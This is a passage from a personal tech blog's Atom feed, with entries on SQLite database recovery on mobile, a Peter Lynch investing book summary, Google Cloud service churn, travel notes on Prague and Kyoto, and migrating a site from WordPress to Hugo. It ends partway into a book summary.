             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">9
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Java" data-lang="Java"><span style="display:flex;"><span><span style="color:#586e75">// Dump database into SQL commands using SQLite shell</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Remove the first &#39;BEGIN TRANSACTION&#39; and the last &#39;END TRANSACTION&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Setup an empty database with all the tables and correct constraints</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Start SQLite shell in `.bail off` mode</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Restore the SQL commands from step 2 into the database using SQLite shell</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">if</span> (failedToRestore) {
</span></span><span style="display:flex;"><span>  setupEmptyDatabase();
</span></span><span style="display:flex;"><span>  startSqliteShellAndRecover();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>This happened whenever the user encountered a corruption in their database and finished within 5-60 seconds.</p>
<h2 id="it-indeed-worked">It indeed worked</h2>
<p>Remember that aggregate queries to count work even when the database seems to be corrupted.
So, we knew that we could count rows in the corrupted as well as the restored database.</p>
<p>Without revealing the precise number, I can say that the results were pretty good,
most users lost only a few messages during this recovery process, and almost the full database was recovered for most of the users.</p>
<p>The final database repair layer was ~200 lines of code.
Probably, the smallest in the world.
It is installed on billions of devices today, ready to rescue them from database corruption.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">Book Summary: One up on Wall Street by Peter Lynch</title><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-intelligent-investor/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Intelligent Investor by Benjamin Graham"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><link href="https://ashishb.net/book-summary/sum-forty-tales-from-the-afterlives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary of Sum: Forty Tales From The Afterlives"/><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Red Notice by Bill Browder"/><id>https://ashishb.net/book-summary/one-up-on-wall-street/</id><author><name>Ashish Bhatia</name></author><published>2024-09-28T16:00:00+00:00</published><updated>2024-09-28T16:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Learn stock picking with Peter Lynch&rsquo;s insights from &ldquo;One Up on Wall Street&rdquo;. Master fundamental analysis, identify stock categories, and avoid pitfalls for long-term gains.</blockquote><p>  
    
    
<a href="https://amzn.to/1fGd3i3?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">One up on Wall Street</a> by Peter Lynch is an impressive book about fundamental analysis for stock picking. Following is my terse summary of the same.</p>
<h2 id="emphasis-on-fundamental-analysis">Emphasis on Fundamental Analysis</h2>
<ul>
<li>Look around for companies that are performing well and invest in them before Wall Street institutional investors pick them</li>
<li>In the long run, common stocks give the best rate of returns</li>
<li>Only basic math is needed to analyze and pick stocks</li>
<li>&ldquo;Don&rsquo;t gamble, invest your savings to buy good stocks and hold them till they go up and then sell them. If it doesn&rsquo;t go up, don&rsquo;t buy it&rdquo;</li>
<li>Investing directly in common stocks is a seven-card stud-poker hand</li>
</ul>
<h2 id="rules-of-investing-in-the-market">Rules of investing in the market</h2>
<ol>
<li>Buy a home (≠ house) before stocks</li>
<li>Only invest what you can afford to lose (without impacting your daily life)</li>
<li>Patience, Common sense, and willingness to do independent research</li>
</ol>
<h2 id="ignore-short-term-fluctuations">Ignore short-term fluctuations</h2>
<p>There is nothing called a good or bad market
Predictions are futile</p>
<p>Six categories of companies</p>
<ol>
<li>Slow growers eg. electric utility</li>
<li>Stalwarts (faster than slow growers) eg. Coca-cola</li>
<li>Fast growers (small companies)</li>
<li>Cyclicals (eg. Auto industry)</li>
<li>Turnarounds (which is coming out of bankruptcy to perform well)</li>
<li>Asset play (sitting on an asset that is growing in value) eg. railroad companies</li>
</ol>
<p>Companies move from one category to another over their lifetime.</p>
<h2 id="perfect-stock-to-buy">Perfect Stock to buy</h2>
<ol>
<li>Its name is dull (eg. pep boys)</li>
<li>It does something dull (eg. bottle cap maker)</li>
<li>It does something disgusting (eg. cleaning company)</li>
<li>It is a spin-off from a big company</li>
<li>Institutions don&rsquo;t own it and investors don&rsquo;t follow it</li>
<li>Is associated with rumors (eg. to the mafia)</li>
<li>Is associated with something depressing (eg. Services Corporation International)</li>
<li>Is in a no-growth industry (which implies that chances of development of competition are low)</li>
<li>It has got a niche (eg. exclusive franchise)</li>
<li>People have to keep buying it</li>
<li>User of technology (hence, its inputs become cheaper with time)</li>
<li>Insiders are buying (the reverse is not a bad sign)</li>
<li>The company is buying back shares</li>
</ol>
<h2 id="stocks-to-avoid">Stocks to Avoid</h2>
<ol>
<li>Hot stocks - which everyone is talking about</li>
<li>Diworsifying companies</li>
<li>whisper stocks - everyone hears the same unrealistic argument</li>
<li>Which has few customers - which can cancel the contract and kill the company</li>
<li>It has an exciting name</li>
</ol>
<p>Stock is not a lottery ticket, it is a proof of ownership.
P/E ratio = years it will take the stock to earn back the original investment with zero growth
Buy stocks with P/E ratio below the industry average of that industry
Do not buy stocks with extremely high P/E ratios</p>
<p>Get info from the broker, even call the company, and do read the annual report.
Some important numbers - % of sales (how much the particular product contribute to company revenues), P/E ratio, cash position (higher the better), debt factor, dividends (how much, is there a record of paying through recessions), book value, hidden assets(due to appreciation of asset over years and weird accounting practices), Inventories(piling up is bad), pension plans, growth rate.
Keep verifying the old analysis from time to time to ensure it still holds.</p>
<ul>
<li>Market declines are frequent and inevitable, they are a great opportunity to buy stocks</li>
<li>Different categories of stocks have different rewards</li>
<li>In the long run, stock prices are in line with fundamentals.</li>
<li>Stock going down does not mean it cannot go any worse.</li>
<li>Stalwarts with huge coverage by Wall Street and investment by institutional investors are ready for decline.</li>
<li>If you cannot beat the market yourself, buy a mutual fund instead.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/finance" term="finance" label="finance"/></entry><entry><title type="html">It is hard to recommend Google Cloud</title><link href="https://ashishb.net/programming/google-cloud/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/repair-database-on-mobile-device/?utm_source=atom_feed" rel="related" type="text/html" title="Repairing database on the fly for millions of users"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><link href="https://ashishb.net/programming/abstractions-should-be-deep-not-wide/?utm_source=atom_feed" rel="related" type="text/html" title="Abstractions should be deep not wide"/><id>https://ashishb.net/programming/google-cloud/</id><author><name>Ashish Bhatia</name></author><published>2024-09-21T16:00:08+00:00</published><updated>2024-09-21T16:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the challenges of migrating from Google Domains and Container Registry. Explore Google Cloud&rsquo;s strengths and pitfalls, plus read why strategy is key.</blockquote><p>  
    
    
<a href="https://news.ycombinator.com/item?id=41614795&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured on Hacker News" loading="lazy" src="https://hackerbadge.vercel.app/api?id=41614795"></a></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>  
    
    
<a href="https://lobste.rs/s/1dry2z/it_is_hard_recommend_google_cloud?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured on Lobste.rs" loading="lazy" src="/programming/google-cloud/lobster.rs-status-badge.svg"></a></td>
          <td>  
    
    
<a href="https://www.lastweekinaws.com/newsletter/the-hpc-team-starts-a-war/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured in Last week in AWS" loading="lazy" src="/programming/google-cloud/last-week-in-aws-badge.svg"></a></td>
      </tr>
  </tbody>
</table>
<h2 id="google-domains">Google Domains</h2>
<p>A year back, I had to migrate my domain after Google decided to   
    
    
<a href="https://blog.pragmaticengineer.com/google-domains-to-shut-down/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">shut down</a> Google Domains.
I had to, not only, painfully setup multiple side-projects subdomain mappings again on a new domain registrar but also re-verify my domain and re-create those mappings on 
<a href="/programming/how-to-deploy-side-projects-as-web-services-for-free/">Google Cloud Run</a>.</p>
<h2 id="google-container-registry">Google Container Registry</h2>
<p>Google Container Registry is   
    
    
<a href="https://cloud.google.com/artifact-registry/docs/transition/prepare-gcr-shutdown?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">shutting down</a> in 2025.
It has been replaced with a new project called Artifact Registry.
So, why is Container Registry being shut down?
Probably because it 10X cheaper than Artifact Registry.</p>
<p>I just spent multiple hours migrating side-projects from GCR to GAR.
It wasn&rsquo;t easy.
Some   
    
    
<a href="https://decksaver.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">projects</a> were deployed multiple years back and are working perfectly fine.
Some others are   
    
    
<a href="https://musicsync.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">single-page homepages</a>.</p>
<h2 id="google-cloud-monitoring">Google Cloud Monitoring</h2>
<p>Google Cloud Monitoring was free, so, I started using it, and then one day I received a cryptic email telling me about the significant   
    
    
<a href="https://cloud.google.com/stackdriver/pricing#pricing-alerting?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">price increase</a>.
Now, I have to figure out, if the Google&rsquo;s pricing is competitive and, if not, what&rsquo;s the right replacement should be.</p>
<p>The two migrations have been laborious.
While Google Cloud has made me jump hoops, there has been little upside in doing these migrations.</p>
<h2 id="google-cloud---great-engineering-good-product-terrible-strategy">Google Cloud - great engineering, good product, terrible strategy</h2>
<p>I strongly believe Google Cloud is a superior product to both AWS and 
<a href="/programming/how-to-deploy-docker-images-on-microsoft-azure/">Microsoft Azure</a>.</p>
<p>The UX is much simpler.
The primitives are much nicer and evolved compared to AWS.
The reliability while not as high as AWS is pretty close.</p>
<p>However, the continuous churn that I have experienced has made it hard to recommend it.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">At the Prague airport</title><link href="https://ashishb.net/short-stories/prague-airport/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/prague-czech-republic/?utm_source=atom_feed" rel="related" type="text/html" title="Prague in Two Days"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/real-vs-artificial-world/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs artificial world"/><link href="https://ashishb.net/short-stories/illegal-immigrants-in-cairo/?utm_source=atom_feed" rel="related" type="text/html" title="Illegal immigrants to Europe via Cairo"/><link href="https://ashishb.net/short-stories/on-a-bus-with-an-asylee/?utm_source=atom_feed" rel="related" type="text/html" title="On a bus with an asylum seeker"/><id>https://ashishb.net/short-stories/prague-airport/</id><author><name>Ashish Bhatia</name></author><published>2024-09-14T16:00:25+00:00</published><updated>2024-09-14T16:00:25+00:00</updated><content type="html"><![CDATA[<blockquote>Explore how business language dynamics evolve post-Brexit, comparing the Chinese and European approaches, and the inevitable rise of English as a global lingua franca.</blockquote><p>On my way from the Prague airport to the city of 
<a href="/travel/prague-czech-republic/">Prague</a>, I sat on a bus next to a man wearing a suit and tie.</p>
<p>&ldquo;Here for business?&rdquo;, I asked.</p>
<p>&ldquo;European Space Agency meeting&rdquo;, he replied.</p>
<p>Those were the days of Brexit, so, I had to ask, &ldquo;What&rsquo;s the language of ESA now?&rdquo;.</p>
<p>&ldquo;English&rdquo;, he replied unequivocally.</p>
<p>That&rsquo;s when it hit me that there are only two approaches to business languages that the world will follow.</p>
<p>One is the Chinese approach, where you create a big geographical entity that speaks your language.</p>
<p>The other is the European Laissez-faire approach of respecting a plethora of 
<a href="/category/linguistics/">languages</a> with few speakers which is worthless for most foreigners to learn, all of your mini languages die and get replaced by English.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/prague" term="prague" label="prague"/></entry><entry><title type="html">Kyoto in three days</title><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><link href="https://ashishb.net/travel/tokyo-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Tokyo in three days"/><link href="https://ashishb.net/travel/sri-lanka/?utm_source=atom_feed" rel="related" type="text/html" title="Sri Lanka in 5 days"/><link href="https://ashishb.net/travel/singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Singapore in 4 days"/><link href="https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Royal Caribbean cruise in Singapore"/><id>https://ashishb.net/travel/kyoto-japan/</id><author><name>Ashish Bhatia</name></author><published>2024-09-07T16:00:55+00:00</published><updated>2024-09-07T16:00:55+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the charm of Kyoto with historic shrines, the oldest onsen, and vibrant markets. Plan your adventure beyond Tokyo with these must-see attractions!</blockquote><p>Unlike 
<a href="/travel/tokyo-japan/">Tokyo</a>, Kyoto is a nice and cozy city.
We started the day with a walking tour that gave us an intense view of this city of shrines.</p>
<p>There is a lot to do in this city.
However, I would recommend focusing on a few of the best specific shrines.</p>
<ol>
<li>Inari Shrine - do the full mountain hike to the top and check the small waterfalls on the backside</li>
<li>Kinkaku-ji Shrine</li>
<li>Ninna-ji temple - a 1200-year-old temple with several statues of Hindu gods sculpted in 800 AD.</li>
</ol>
<p><figure>
    
    <a href="kyoto-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kyoto-1-1024x768.jpg"
         alt="A 1200-year-old Ninna-ji temple, showcasing sculptures of Hindu gods crafted in 800 AD, with historical architecture and intricate details visible." width="900"/> </a>
</figure>

<figure>
    
    <a href="kyoto-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kyoto-2-1024x768.jpg"
         alt="Intricately carved sculptures of Hindu gods, created circa 800 AD" width="900"/> </a>
</figure>

<figure>
    
    <a href="kyoto-4-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kyoto-4-768x1024.jpg"
         alt="Kyoto" width="900"/> </a>
</figure>

<figure>
    
    <a href="kyoto-5-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kyoto-5-768x1024.jpg"
         alt="Kyoto" width="900"/> </a>
</figure>

<figure>
    
    <a href="kyoto-6-inari-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kyoto-6-inari-768x1024.jpg"
         alt="Red Torii gates of Fushimi Inari Shrine, symbolizing traditional Japanese culture and vibrant spirituality set amidst lush green foliage." width="900"/> </a>
</figure>

<figure>
    
    <a href="kyoto-7-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kyoto-7-768x1024.jpg"
         alt="Kyoto" width="900"/> </a>
</figure>
</p>
<p>If you have not visited an onsen then go for   
    
    
<a href="https://www.insidekyoto.com/funaoka-onsen?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Funoka Onsen</a>, the oldest sento (hot water bath) in Kyoto. 490 yen entry fee + 200 yen optional for a small towel. There were a total of 2 pools outside and 4 inside of varying temperatures. One of the pools was electric! I would highly recommend visiting this.</p>
<p>Note:</p>
<ol>
<li>Nishiki Market is a great area to visit for food.</li>
<li>The city is well-connected by a public bus system with a flat fare of 230 yen per adult.</li>
<li>The best way to get from 
<a href="/travel/tokyo-japan/">Tokyo</a> to Kyoto is not the Bullet train but the   
    
    
<a href="https://www.kosokubus.com/en/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">overnight bus</a> journey.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/japan" term="japan" label="japan"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/></entry><entry><title type="html">Migrating from WordPress to Hugo</title><link href="https://ashishb.net/tech/wordpress-to-hugo/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/javascript/?utm_source=atom_feed" rel="related" type="text/html" title="Minimize Javascript in your codebase"/><link href="https://ashishb.net/tech/ads/?utm_source=atom_feed" rel="related" type="text/html" title="In defense of ad-supported products"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/tech/llms-great-for-business-but-bad-business/?utm_source=atom_feed" rel="related" type="text/html" title="LLMs: great for business but bad business"/><link href="https://ashishb.net/tech/when-to-commit-generated-code-to-version-control/?utm_source=atom_feed" rel="related" type="text/html" title="When to commit Generated code to version control"/><id>https://ashishb.net/tech/wordpress-to-hugo/</id><author><name>Ashish Bhatia</name></author><published>2024-09-02T23:00:00+00:00</published><updated>2024-09-02T23:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Tired of WordPress deployments? This is your ultimate guide on how to more to a markdown static site generator like Hugo.</blockquote><p>  
    
    
<a href="https://news.ycombinator.com/item?id=41377331&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured on Hacker News" loading="lazy" src="https://hackerbadge.vercel.app/api?id=41377331"></a></p>
<table>
  <thead>
      <tr>
          <th></th>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>  
    
    
<a href="https://golangweekly.com/issues/521?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Golang Weekly" loading="lazy" src="/tech/wordpress-to-hugo/golang-weekly-badge.svg"></a></td>
          <td>  
    
    
<a href="https://www.youtube.com/embed/8q4sHXGpRVI?start=35&amp;end=47&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Hugo Build-Time News" loading="lazy" src="/tech/wordpress-to-hugo/hugo-buildtime-news-badge.svg"></a></td>
          <td>  
    
    
<a href="https://github.com/ashishb/wp2hugo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="GitHub Repo stars" loading="lazy" src="https://img.shields.io/github/stars/ashishb/wp2hugo?style=flat&label=wp2hugo%20(GitHub%20stars)"></a></td>
      </tr>
  </tbody>
</table>
<h2 id="why-leave-wordpress">Why leave WordPress</h2>
<p>For more than 10 years, this website has been running on WordPress.
Over time, I come to dislike it for multiple reasons.</p>
<ol>
<li><strong>Security</strong>: Occasionally, I got PHP shell injection and once even my credentials were 
<a href="/tech/this-website-was-compromised/">compromised</a>.
The core WordPress philosophy of keeping server-side executable PHP code inside a database makes it hard to
keep the overall website secure.</li>
<li><strong>Cost</strong>: The requirement of running a Postgres server for just a website with a few 100
(or even a few 1000) articles makes it an expensive setup.</li>
<li><strong>Plugins</strong>: WordPress has a great plugin ecosystem. However, they are abandoned from time to time.
In 10 years, I have migrated across at least three different code syntax highlighting plugins.
Upgrade and you risk plugin incompatibilities.
Don&rsquo;t upgrade and you risk security vulnerabilities!</li>
<li><strong>Co-mingling of UI and data</strong>: WordPress comingles the UI (HTML and CSS) with contents of the blog posts.</li>
<li><strong>No git-based flow</strong>: Git-based flow allows   
    
    
<a href="https://github.com/ashishb/gabo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">automation</a>,
e.g.   
    
    
<a href="https://github.com/ashishb/android-security-awesome/actions/workflows/validate-links.yml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">checking broken links</a> and
  
    
    
<a href="https://github.com/ashishb/gabo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">auto-compressing images</a>.
One can write WordPress plugins for these but that&rsquo;s some magnitude harder effort that using a CI-based automation.</li>
</ol>
<h2 id="static-sites">Static sites</h2>
<p>Most personal websites should be written as a static site deployed as a single 
<a href="/tech/docker-101-a-basic-web-server-displaying-hello-world/">docker container</a>. This drastically reduces vendor lock-in, reduces the security attack surface, and makes the whole build process hermetic.</p>
<p>The stack I eventually ended up with is</p>
<ol>
<li>
<a href="/all/why-i-prefer-obsidian-for-taking-notes/">Markdown</a> - all posts have to be in Markdown. Overtime, I have fallen in love with writing posts in Markdown and have been copying it over to WordPress.</li>
<li>
<a href="/programming/how-to-deploy-side-projects-as-web-services-for-free/">Single container deployment</a> - Deployment as a single container on Google Cloud Run</li>
<li>  
    
    
<a href="https://gohugo.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hugo</a> - Tooling written in interpreted languages like Python and TypeScript decays really quickly over time. The fact that Hugo was written in Go was a huge upsell for me. I, myself, have written several tools and have always felt that the code maintainability of languages like Go is much higher than Python.</li>
<li>  
    
    
<a href="https://lipanski.com/posts/smallest-docker-image-static-website?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Busybox</a> - To minimize the attack surface even further, my final docker image contains HTML, CSS, Javascript, and only one binary <code>busybox-httpd</code> server. I don&rsquo;t think one can cut the attack surface more than this.</li>
</ol>
<h3 id="how-to-migrate">How to migrate</h3>
<p>Migrating isn&rsquo;t easy.
There are tons of caveat.</p>
<p>As a small sample of the items that one should be careful while migrating,</p>
<ol>
<li>I wanted to preserve the location of the feeds.</li>
<li>I wanted to preserve the GUID of the entries.</li>
<li>I wanted to download associated files e.g. media.</li>
<li>I wanted to migrate tons of external embeds, like YouTube embeds, Google Maps embeds etc.</li>
</ol>
<p>I looked at several tools, none migrated these properly.
So, I ended up writing   
    
    
<a href="https://github.com/ashishb/wp2hugo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">wp2hugo</a>.
<code>wp2hugo</code> made it to the Hacker News&rsquo;s   
    
    
<a href="https://news.ycombinator.com/front?day=2024-08-28&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">frontpage</a>!</p>
<h3 id="what-about-the-comments">What about the comments</h3>
<p>This is a common concern that people make about static sites.
And that&rsquo;s a valid one.
Most Hugo users seem to use   
    
    
<a href="https://gohugo.io/content-management/comments/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Disqus</a> for this.
I migrate to   
    
    
<a href="https://remark42.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Remark42</a>, a system that can be deployed an self-hosted.
Since, this uses a file-based comments system, I mounted a single Google Cloud Storage (GCS) bucket as a directory to persist the comments.
And then <code>Remark42</code> itself can be deployed as a separate docker image.</p>
<h2 id="current-status">Current status</h2>
<p>The new site is up and running at   
    
    
<a href="https://v2.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://v2.ashishb.net/</a>.<br>
For now, the old site is still running at   
    
    
<a href="https://v1.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://v1.ashishb.net/</a> but will be shut down in a few days.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Book summary: Sick Societies by Robert B. Edgerton</title><link href="https://ashishb.net/book-summary/sick-societies/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/safe-haven/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Safe Haven by Mark Spitznagel"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><link href="https://ashishb.net/book-summary/how-to-live/?utm_source=atom_feed" rel="related" type="text/html" title='Notable quotes from "How to Live" by Derek Sivers'/><id>https://ashishb.net/book-summary/sick-societies/</id><author><name>Ashish Bhatia</name></author><published>2024-08-24T16:00:28+00:00</published><updated>2024-08-24T16:00:28+00:00</updated><content type="html"><![CDATA[<blockquote>Debunking the myth of harmonious primitive societies, this blog post explores human nature, fallacies, and cultural practices through intriguing historical insights.</blockquote><p>This   
    
    
<a href="https://amzn.to/4fS7DUa?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> seems to address the myth that primitive societies are more harmonious than our present societies.</p>
<ul>
<li>Books like   
    
    
